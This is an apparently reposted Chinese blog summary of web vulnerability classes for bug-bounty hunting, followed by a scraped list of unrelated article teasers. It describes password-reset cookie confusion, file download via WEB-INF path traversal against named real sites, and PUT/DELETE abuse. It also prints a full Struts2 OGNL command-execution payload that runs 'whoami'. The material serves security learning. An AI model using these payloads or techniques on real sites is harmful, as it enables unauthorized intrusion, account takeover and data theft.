src漏洞类型总结

本文转载于https://blog.csdn.net/qq_33942040/article/details/111831536

这三类存在漏洞可能更大

越他娘丑的站,越有可能存在洞。
Asp aspx 存在漏洞的可能更大
登陆口没得验证码的可能存在

在这里插入图片描述
在这里插入图片描述

一,未授权访问

常见28种服务器或者中间协议未授权访问
易出现处
①照片访问类代目录类处
如乌云实例
在http://learn.open.com.cn/登入
首页-详细信息-查看 查看照片地址

在这里插入图片描述
在这里插入图片描述

发现目录泄露了
http://oemsresource.open.com.cn/Attachment/ExportTemp/OEMS/PictureTemp/20160711/
② …/ 、 WEB-INF 、 jsp$(jsp结尾)类的文件读取类(典型过滤该类内容即可实现过滤类)

在这里插入图片描述

③审计元素代改包内容

在这里插入图片描述

二,逻辑漏洞

二具二可
可多开,考虑多开逻辑。
具多量,考虑空逻辑与覆盖逻辑或者替换逻辑
具数字,考虑溢出逻辑
可签到类–>可考虑并发逻辑

#业务逻辑漏洞
常规思路
①值返回到页面中类型-->有点像泄露逻辑
②根据返回包判断可否的逻辑
#骚思路逻辑
①并发逻辑-->启用一个直接并发同时打开好多个
②覆盖逻辑-->典型cookie覆盖逻辑
③校验逻辑-->典型未校验-->
1.)如签约即可购买低价会员类逻辑,如果支付宝和微信均可,可以多开尝试是否校验校验解约后再次签约的情况
2.)是否校验重复打开签约的情况(多开同开绕过)
3.)空校验逻辑绕过④溢出逻辑(因为溢出后会从零开始算导致)-->
正数溢出-->即变量大于int类的数据导致如单价为2,要正数溢出-->可以1073741825个*2即大于2147483647
负数溢出-->即典型负负得正的操作

八种厂商的逻辑漏洞挖掘思路
①cookie混淆–>两个同时进行找回密码
(利用原理–>同一个浏览器中同时找回两个账户的密码,即一个浏览器找回不同密码时,两个账号的cookie相同导致的)
(验证码与cookie绑定而两账号此时cookie相同造成了混淆,造成cookie混淆,进而实现越权更改密码)
实际例子–>乌云1905后台重置密码处

注册个账号分析下数据包感觉闻到了cookie混淆的味道
使用我的账号进行正常找回密码流程获取验证码,停留在输入验证码页面

在这里插入图片描述
这时在同一浏览器打开新的网页,用被害账号test进行正常找回流程停止输入手机验证码页面
在这里插入图片描述
然后在我的账号的新密码页面输入新密码
提交后收到200返回包重置成功,test的密码被重置了!!
在这里插入图片描述
这里是因为验证码与cookie绑定而两账号此时cookie相同造成了混淆
②cookie处返回了加密的验证码

在这里插入图片描述

在这里插入图片描述

③返回密码的邮箱在前端处
如案例
即改为自己的邮箱即可获取到相应的验证码
在这里插入图片描述
在这里插入图片描述

三,任意文件下载

典型以downloadFile文件结尾或者其他内容结尾的内容
典型案列

#如中国证券协会
http://person.sac.net.cn/pages/sacinfo/downloadFile.action?inputPath=WEB-INF%2Fweb.xml&fileName=studentFlow.pdf

四,任意文件删除

原因:网站支持input delete等多余协议导致
乌云案例
即支持PUT DELETE协议导致后台任意文件删除
在这里插入图片描述

五,命令执行漏洞

①支持命令执行类
如下
支持shell命令
在这里插入图片描述
执行后即可输入命令的返回值状况
②cve或者struts2漏洞执行等漏洞
利用方式:
利用漏洞利用工具直接执行即可

struts2漏洞典型手动利用代码

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27whoami%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\A%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

在这里插入图片描述

典型cve
1.)CVE-2014-0160
心脏滴血漏洞
2.)反序列化漏洞
原理:一个序列化的对象转换为字节的时候,代码审核不严格导致的命令执行漏洞
jboss反序列化教程
java rmi反序列化漏洞–>典型1099端口

六.其余专题

文件泄露专题
xxe漏洞专题
ssrf漏洞专题
任意文件读取专题
getshell专题
iframe劫持专题
URL重定向专题
xss专题
web特殊漏洞专题
路径端口工具专题

表达式注入–>即由于表达式引起的命令执行漏洞

典型:即框架接受参数后可执行命令导致
表达式注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358358.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【APICloud系列|19】上架APPStore需要准备哪些材料?

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架苹果应用商店APPStore需要准备哪些材料,有相关的困扰欢迎私信我。 一、上架流程 1. 注册苹果企业账号 2. 创建测试证书,发布证书 (使用Mac) 3. 使用xcode 上传应用到APP Store (…

Json注入

一、Json简介 JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。 json语法 数据在名…

国行 lg g3 D858 刷 lg g3 D858hk 教程(备忘)

纯手打,转载请注明出处~ 刷机有风险,出现问题概不负责! 本着自娱自乐的宗旨 ,分享一下,出了问题不负责! 准备的材料: 1,手机一枚(废话)国行lg g3 d858 2&am…

渗透测试-验证码的爆破与绕过

【验证码机制原理】 客户端发起请求->服务端响应并创建一个新的SessionID同时生成随机验证码,将验证码和SessionID一并返回给客户端->客户端提交验证码连同SessionID给服务端->服务端验证验证码同时销毁当前会话,返回给客户端结果。 【客户端可…

最近对项目代码做的一些更改和感想

最近对项目代码做了一些更改,主要的改动是对整个界面框架的改变,因为以前写代码的时候,为了完成功能,没有从上帝视角来思考软件的界面设计,完全是需要这个功能了,怎么可以做到?好,就…

CSS常见的四种垂直居中的方法

面试中不管是笔试题还是面试题,一般很容易被问到如何实现垂直水平居中,这里总结四种方法作为参考 (1)margin:auto法 css: div{ width: 400px; height: 400px; position: relative; border: 1px solid #465468; } img{ position: absolute; margin: auto; top: 0; left: 0; …

对安卓应用进行加固签名,为上架各大应用市场做准备

上架安卓各大应用市场之前需要对自己的应用进行签名加固,签名是为了证明你是这个应用的开发者,软著也是一种方式,这是不做介绍,加固是为了从安全角度给安装包加一个保护层,防止被恶意破解及攻击。下面简单介绍一下签名…

大前端最强vscode教程(基础篇)

这段时间入职了一家外包公司的前端工程师岗位,前端编辑器用起来,前端一般会用到几个编译器,VScode、sublime text3、webstorm、Hbuid等,这里主要介绍VScode. 初次使用vscode时各种不适应,所有需要用到的功能貌似都需要单独安装插件才能用。这让很多初次使用vscode的朋友有…

edusrc0day挖掘技巧

网瑞达web资源管理系统0day ps: 作为在edusrc的小白,经常看见大师傅们的刷屏,我也很向往能像大师们一样有一次刷屏的机会,于是有了这一次的渗透之旅。 思路:要想刷屏上分,就得找系统来挖掘,对…

个人或者公司如何写版权认证的证明文件?

项目场景: 现在好多平台都在做知识付费,比如百度文库、CSDN、微博、头条、知乎等等,因此我想给大家做一些付费文档,想上传到百度文库的知识店铺 问题描述: 一般人不知道这个版权认证文件怎么写,怎么弄&am…

Bypass WAF实战总结

0X00前言 上个月刷了一波洞,然后这个月初远程支持了一个HW,在文件上传getshell的时候,碰到个各式各样的云waf,通过一个月的实战,总结了几个比较实用的技巧,文章总结的不全,只是基于我实战中用到…

Git教程学习总结(分享给热爱学习的你,团队的协作离不开你呀)

目录 Git 教程 Git 安装配置 Git 工作流程 Git 工作区、暂存区和版本库 Git 创建仓库 Git 基本操作 Git 分支管理 Git 查看提交历史 git log git blame Git 标签 Git 远程仓库(Github) Git Gitee Git 服务器搭建 Git 教程 Git 是一个开源的分布式版本控制系统&…

Linux的shell编写

-eq //等于 -ne //不等于 -gt //大于 -lt //小于 ge //大于等于 le //小于等于实验中遇到的问题: 1.NAMEuser1 中间不能有空格 2.[ xxx ] xxx前面和后面要有空格 任务1:使用case语句编…

为啥这么多程序员大佬学习Cortex-M3

Cortex-M3是一个32位处理器内核。内部的数据路径是32位的,寄存器是32位的,存储器接口也是32位的。CM3采用了哈佛结构,拥有独立的指令总线和数据总线,可以让取指与数据访问并行不悖。这样一来数据访问不再占用指令总线,…

Ffuf使用教程

kali安装教程链接:https://www.iculture.cc/cybersecurity/pig210 该工具用途广泛,可用于多种用途。一些用途: • 目录发现,可选择在 URL 中的任何位置进行模糊测试。 • 子域名发现 • 使用各种 HTTP 方法进行模糊测试。 安装 …

Burp Collaborator 使用总结

0x00:使用原因 我们在做渗透测试的时候,经常会遇到这种情况,测试跨站可能有些功能插入恶意脚本后无法立即触发,例如提交反馈表单,需要等管理员打开查看提交信息时才会触发,或者是盲注跨站,盲打 …

jrockit_1.6下载_Oracle JRockit Mission Control 4.1发布

jrockit_1.6下载Oracle发布了以前的仅JRockit专用工具Mission Control Suite(JRMC)的新版本。 4.1版本是次要版本升级,直接遵循4.0.1(该版本发布于2010年中期)。 但是,即使版本号表明是次要的升级&#xff…

dnslog盲注原理

Dnslog盲注原理 布尔盲注和时间盲注相当于猜单词的游戏,我们需要对每一位逐步的猜测,效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护 我们需要一种方式能够减少请求,直接回显数据——Dnslog注入 Dn…

[学习笔记]批次需求计划系统-简要

一、该系统的目的二、系统特色(1)来源根据 如上图(2)仅仅补充需求来源的最大值,避免料件多买而造成浪费(3)可透过[发放LRP工单]将生产计划发放成正式工单(4)可透过[发放LRP採购单]将採购计划发放成正式的请购单或者採购单(5)系统会记录计划的来源单据,方…

在浏览器控制台执行以下代码,输入的结果是()

在浏览器控制台执行以下代码,输入的结果是(A) A.4400 4401 4399 4400 B.4400 4401 4401 4402 C.4400 4400 4399 4400 D.4400 4401 4399 4402 E.4400 4401 4401 4400 解析 js在执行之前